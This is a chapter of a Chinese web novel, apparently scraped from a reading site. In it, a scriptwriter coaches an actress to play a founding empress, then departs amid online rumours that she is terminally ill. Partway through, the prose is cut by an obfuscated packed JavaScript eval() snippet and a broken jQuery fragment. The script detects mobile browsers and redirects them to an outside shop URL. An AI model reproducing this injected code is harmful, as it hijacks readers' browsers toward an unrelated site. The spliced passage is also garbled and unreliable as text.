142. 第 142 章
作品:《她,霸总,娱乐圈黑月光》 姜姚早就知道,晟燕齐身上有自己没有的气度。她一面听着芮槐宁说话,脑子里一面冒出一个古怪的想法:芮槐宁有一点像晟燕齐。
不然她凭什么这么理解一位女皇的所思所想呢?
不过姜姚没有把自己的想法宣之于口,她只是安静地听着。
芮槐宁正在对这场戏做总结:
“所以在政敌攻击你牝鸡次晨的时候,你的反应不应该是‘我要证明自己’,而是‘老登们你们真的没有更高级一点的话术了吗?把你们都杀了好不好呀?’”
大概是这话说得过于暴躁,姜姚小小地挑眉。
芮槐宁坦然:“晟燕齐是战场上杀出来的皇帝,你觉得她能有多温柔?”
姜姚的眉毛就此放下去了。
芮槐宁:“她嘴里吩咐人做事,让大臣去打舆论战,但她心里是不甚在意的,口舌官司而已,既不影响民生也不影响兵权,难不成他们还能靠写文章逼她禅位吗?”
她又朝场内一扬下巴:
“喏,这场戏也是一样,焉鸿渐带着几个人舌战群儒让大家都闭了嘴,好像很威风,但这是靠他打嘴仗打出来的胜利吗?
“他最后一句台词是‘尔等当真要以命搏名吗’,意思就是你们再扯这些皇帝不爱听的,就可以因为被皇帝所杀而青史留名了。”
姜姚深深地点了头。
话说得再漂亮也只能锦上添花,拳头才是硬道理,而在这个时间点上,晟燕齐的拳头是最大的。
芮槐宁适时引导:“张博俍那场戏问题出在哪里,你知道了吗?”
姜姚试探地:“我应该强势一点?”
“也对,不过这只是表面上的。”芮槐宁说得很直白,“你原来的表演,只能说女人的低配得感和我国人民谦逊的debuff叠在一起拉满了。”
姜姚哪敢说话。
芮槐宁进而道:“但实际上晟燕齐作为一个开国皇帝,有如今海内安定,人民开始休养生息的成就,她只会觉得这个位子是我应得的。
“几乎世界上所有的当权者,他们的谦虚都是一种表演,骨子里他们不是这样想的,但你的谦虚是真谦虚,所以看着才会总觉得哪里怪怪的。”
这还是姜姚第一次听到这种说法,但是仔细想想也对。
她自己就是一个很好的例子,在她的公司里向来也是她说了算,如果哪天她为了聘请一个有能力的高管而表达出了谦虚,某种程度上肯定有演的成分在。
倒不是因为她自满,而是因为公司本来就是她的,这个人能接她的offer当然最好,但也不必过于在意,他不干那就干脆再去找下一个人就好了。
姜姚嘴上说着“我明白了”,但芮槐宁猜测她还需要一点时间消化,她也不去逼迫姜姚,而是说:
“因为你不是真的皇帝,所以会缺一点底气,这不是你的错。其实也怪我,我应该在剧本里多加几个括号,告诉你‘这里她心里并不在意’、‘这里她的谦虚是演的’。”
姜姚却摇头:“和这些没关系,我心态不对再加多少括号也没用,这就是所谓的‘穿上龙袍也不像太子’吧。”
“你都作为晟燕齐南征北战了一回,为什么到头来却不敢摘取胜利的果实了呢?不要害怕权力呀。”
说着芮槐宁又轻拍她的肩膀,“没关系,我和宋导说了,咱们慢慢来,前面的一些场次等你状态OK了再重拍。
“我相信你可以,你也对晟燕齐更有信心一点吧,虽然这个时空里没有开国的女性皇帝,但你怎么知道其他时空里也没有呢?”
她之所以一定要留下这部作品,就是希望让更多的人知道这段真实存在过的历史。
“而且,”芮槐宁淡笑,“即便真的没有,为什么你不能做第一个呢?就带着这样的信念去演吧,既然有人能从乞丐开局走到皇位上,你又为什么不能以女子之身开万世太平呢?”
最后这句话在姜姚心里激起一片小小涟漪,她深深地吸气,又缓缓地吐出,最后郑重地点了头。
第二天芮槐宁再光临片场的时候,宋导就堪称和颜悦色了。
“我没想到小姜能调整得这么快,看来还是你教得好。”
芮槐宁心说我是没演过戏,但我的储君不是白当的呀。不过她嘴上还是说:
“是姜姚自己努力,我只能帮她调整心态而已,具体怎么演我是一点不会的,所以剩下的就要靠宋导您来把控啦。”
宋导拍了她一巴掌:“少来,我需要你给我戴高帽吗?”
芮槐宁:“咦?我还以为我已经选了一顶没那么高的帽子了呢。”
一老一少笑作一团。
她们这边一派祥和,而陆虞渊脸色却不大好看。
原因是针对芮槐宁的网络舆论战如今一再升级。
她的粉丝们以《娱乐圈吃瓜指南》为蓝本剪了很多毒瘤公司和毒瘤艺人的视频在各大平台到处传播,对方则用最质朴的手段进行了反击。
简单说就是被提名的艺人粉丝和藏在粉丝里面的水军都在诅咒芮槐宁“好死”,陆虞渊甚至在网上看到了好几款风格不一的黑白遗照P图。
偏偏宋盏不上网,芮槐宁心大,两个人笑得无比欢畅的画面更让陆虞渊觉得头大如斗。
真是皇帝不急太监急。
姜姚今天连着一条过,心情也好了很多,她看陆虞渊一直皱着眉头便有心想安慰两句:
“年轻人怎么老是一副愁苦相?有什么我能帮忙的吗?”
陆虞渊跟她其实不算特别熟,但他知道她跟芮槐宁一直藕断丝连的,所以也就直说了:
“姜老师对网上的舆情怎么看?那些人快把芮槐宁骂死了。”
他说得挺自然,姜姚却是很诧异的,他是因为槐宁被骂所以觉得烦恼吗?他们俩不是……在《等你来战》的时候一副快吵起来的样子?
不过再一想,她自己跟槐宁的关系在外界的视角里也是差到不行。
“虽然现在形势不好,”姜姚斟酌道,“但她想必是有解决办法的。”
毕竟她就没见过芮槐宁有跨不过去的坎。
可这句话却没能安慰到陆虞渊。
是,她总有办法,但前提也得是她真的想解决问题吧?可是针对这件事,陆虞渊却隐隐觉得她在放任自流。
她说的“走一步看一步”,太不符合她一贯的行事风格,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312030|176754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
更像是为了敷衍他随便说说的。
那头芮槐宁已经在跟宋导道别了,说好的待两天就走,她还真是半点也不留恋。
到姜姚的时候,姜姚提着厚重的戏服下摆往前两步,给了芮槐宁一个拥抱:“谢谢你。”
皇帝的常服做得层层叠叠,芮槐宁只觉得被一大团布料裹住了,既厚重又温暖。也不知道此次一别她们还能不能再相见,所以她难得多说了两句:
“以后就要靠你自己了,但这也没什么可怕的,你已经非常强大了。好好保重。”
俩人分开的时候芮槐宁倒是读出了姜姚眼中的一丝不舍,但她也不能说更多了。
不,还是能的。
她又回转身去,拉着姜姚远离了人群:
“有人跟我说了一些关于你当时离开公司的所思所想,虽然我还是不能理解,但我觉得他可能猜得没错。
“也许你不是真的想抛下我,只是事情没有按照你想象的那样去发展。”
姜姚想要开口说些什么,被芮槐宁拦下了:
“你不需要解释。我只是想告诉你,过去已经无可更改,这是没有办法的事情。但就我个人而言,我现在对你所做的事情,所抱持的态度,并不是在惩罚过去的你。
“所以也希望你放下曾经发生的一切,向前看吧。”
姜姚听罢以后半晌没吭声,只是一路跟着芮槐宁往回走,最后很小声地说了一句:“对不起,那个时候的我太年轻了。”
芮槐宁看了她一眼,没说话,只露出了一个浅淡的笑意。
回到片场边上,她最后向《晟燕齐》的主创团队们挥了挥手,而陆虞渊就站在人群的最边缘,脸上平平静静没什么表情。
她的四个保镖已经就位,他们围着她上了车,很快就驶上了大路,再看不清影视城里的巍巍宫阙了。
芮槐宁回了燕京就开始收拾行李,带的最多的就是书,不仅暂住的冉凌天家里一本没落下,连原先租住的房子里的也全搜刮完塞进了行李箱。
接着她又清点了自己的身家,留够接下来需要花的钱,剩下的一股脑全捐给了慈善机构。
这些事花了她大概三四天的功夫,期间她还给林晴庆祝了生日,两个人找了个餐厅狠吃了一顿。
结果还没等她执行下一步计划,网上就出了奇怪的动静。
不知道哪里来的风声说她命不久矣,言辞含含糊糊但是又显得神神秘秘。
她最近一直在舆论的风口浪尖上,于是吃瓜群众们很容易就把各种前因后果全部连了起来。
她为什么心血来潮给大家开直播讲那么多不该讲的八卦?为什么要写《娱乐圈吃瓜指南》得罪圈子里一票公司?
为什么给其羽员工一下子涨那么多的薪水,又为什么莫名其妙地突然离开其羽?
难道都是因为她快死了吗?
一开始这还只是一个说法,结果传了没两天越传越广,甚而有某慈善机构的员工匿名爆料说接收到了她的巨额捐款。
这样一来更是一下子做实了这个原本听起来颇为离谱的传闻。
而伴随着这则流言的扩散,芮槐宁面临的舆论环境竟然好了很多。

